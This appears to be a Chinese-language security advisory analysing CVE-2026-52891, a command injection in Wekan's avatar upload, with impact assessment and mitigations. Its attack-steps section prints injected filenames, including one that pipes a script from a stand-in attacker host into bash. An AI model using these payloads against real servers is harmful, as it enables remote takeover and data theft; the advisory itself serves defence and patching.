🔴 严重 | CVE-2026-52891 — Wekan is open source kanban built with Meteor. Pri...
🔴 【深度分析】严重安全漏洞:CVE-2026-52891
CVSS 评分: 严重(9.9)🔴 状态: Deferred 发布时间: 2026-07-15
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-52891 |
| CVSS 评分 | 9.9 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE 分类 | CWE-78,CWE-88 |
| 发布时间 | 2026-07-15 |
| 最后更新 | 2026-07-17 |
| 状态 | Deferred |
| 数据来源 | security-advisories@github.com |
漏洞 ID: CVE-2026-52891
CVSS 评分: 9.9 (严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
危害等级: 严重 (Critical)
漏洞状态: Deferred (待处理)
漏洞概述
CVE-2026-52891 是一个存在于 Wekan(基于 Meteor 构建的开源看板应用)中的 OS 命令注入漏洞。攻击者利用受头像上传功能中不安全的外部输入处理,通过构造特殊的文件名,可以在服务器端执行任意操作系统命令。
该漏洞的 CVSS 评分为 9.9(严重),攻击向量为网络(AV:N),攻击复杂度低(AC:L),只需要低权限(PR:L)和用户交互(UI:N),影响范围改变(S:C),且对机密性、完整性和可用性均为高影响(C:H/I:H/A:H)。这意味着任何已登录的低权限用户均可远程利用此漏洞,完全控制服务器。
受影响组件与版本
- 受影响组件: Wekan Avatar Upload Functionality (头像上传功能)
- 受影响版本: 9.07 之前的所有版本
- 安全版本: Wekan 9.07
漏洞原理分析
技术成因
根据 NVD 漏洞描述和 CWE 分类(CWE-78 OS 命令注入, CWE-88 参数注入或修改),该漏洞的成因在于 文件名输入的不安全处理。
外部输入嵌入路径: 当用户上传头像时,Wekan 会将用户提供的文件名(例如
cat.jpg)直接嵌入到文件路径中,用于后续的 MIME 类型检测。不安全函数调用: 在
models/avatars.js和models/fileValidation.js中,Wekan 使用了child_process.exec()函数来执行一个 shell 命令,该命令中包含用户提供的文件名。child_process.exec()的特点是它会在系统的 shell 环境中执行命令,这意味着它会解释 shell 元字符,如反引号(`)和$()。恶意载荷利用: 攻击者可以通过构造包含 shell 命令的文件名来利用此漏洞。例如,上传一个名为
hello.png; ls -la /etc或avatar.png; id > /tmp/exploit.txt的文件。当 Wekan 执行 MIME 检测命令时,例如:file --mime-type /path/to/uploads/hello.png; ls -la /etc由于没有对文件名进行转义或过滤,shell 会将分号
;后ls -la /etc也解释为一条独立的命令并执行。
攻击向量
- 前提条件: 攻击者需要在 Wekan 上拥有至少一个低权限的用户账户。
- 攻击步骤:
- 登录 Wekan 应用。
- 进入用户设置或头像上传页面。
- 构造一个包含恶意命令的文件名(例如
avatar.sh;curl http://attacker.com/shell.sh | bash)。 - 上传该文件(内容可以是任意无害文件,关键在文件名)。
- Wekan 后端尝试通过
child_process.exec()检测文件 MIME 类型时,执行了拼接了恶意文件名的系统命令,导致命令执行。 - 攻击者的命令在服务器端运行,可执行进一步的横向移动或提权操作。
影响评估
| 评估维度 | 分析 |
|---|---|
| 攻击复杂度 | 低 (L)。攻击者无需特殊技巧,只需构造一个合法的带有元字符的文件名。 |
| 权限要求 | 低 (L)。仅需一个普通用户账户,无需管理员权限。 |
| 用户交互 | 无 (N)。上传头像的操作本身是合法的功能使用。 |
| 利用条件 | 无复杂条件。无需受害者点击链接或额外交互。 |
| 潜在后果 | 完全服务器失陷。攻击者可以获得 Web 服务器进程的权限,通常为 www-data 用户,然后可以执行任意系统命令: - 窃取数据库凭证与用户数据。 - 植入后门和 webshell。 - 扫描内网,进行横向渗透。 - 完全破坏系统的机密性、完整性和可用性。 |
| 影响范围 | 已改变 (Changed)。该漏洞打破了原有的安全边界,攻击者虽然从受限权限开始,但可以跨越边界完全控制底层操作系统。 |
综合评估: 这是一个极其严重的漏洞。由于 Wekan 常用于团队协作管理任务,其中可能包含敏感的业务信息。一旦被利用,整个系统的敏感数据将面临全面泄露的风险。
修复建议
1. 版本升级(首选)
立即将 Wekan 升级至 9.07 或更高版本。官方已在 9.07 中修复了该漏洞。
2. 临时缓解措施
如果无法立即升级,建议采取以下缓解措施:
- 输入验证: 在 Web 应用层面(如 Nginx 或反向代理)对上传的文件名进行严格的正则表达式校验,拒绝任何包含
;、&、`、$、|、>、<等 shell 元字符的请求。 - 替换
exec为execFile: 在代码层面,将child_process.exec()替换为child_process.execFile()。execFile()不会启动 shell,因此不受 shell 元字符影响。出于防御深度考虑,即使使用execFile(),也应继续对文件名进行转义。 - 权限最小化: 确保运行 Wekan 的 Web 服务器进程(如
www-data)账号权限最低,仅拥有必要的读写权限,降低被攻陷后的破坏范围。 - WAF 规则: 部署 Web 应用防火墙(WAF),配置规则拦截包含恶意字符的文件名上传。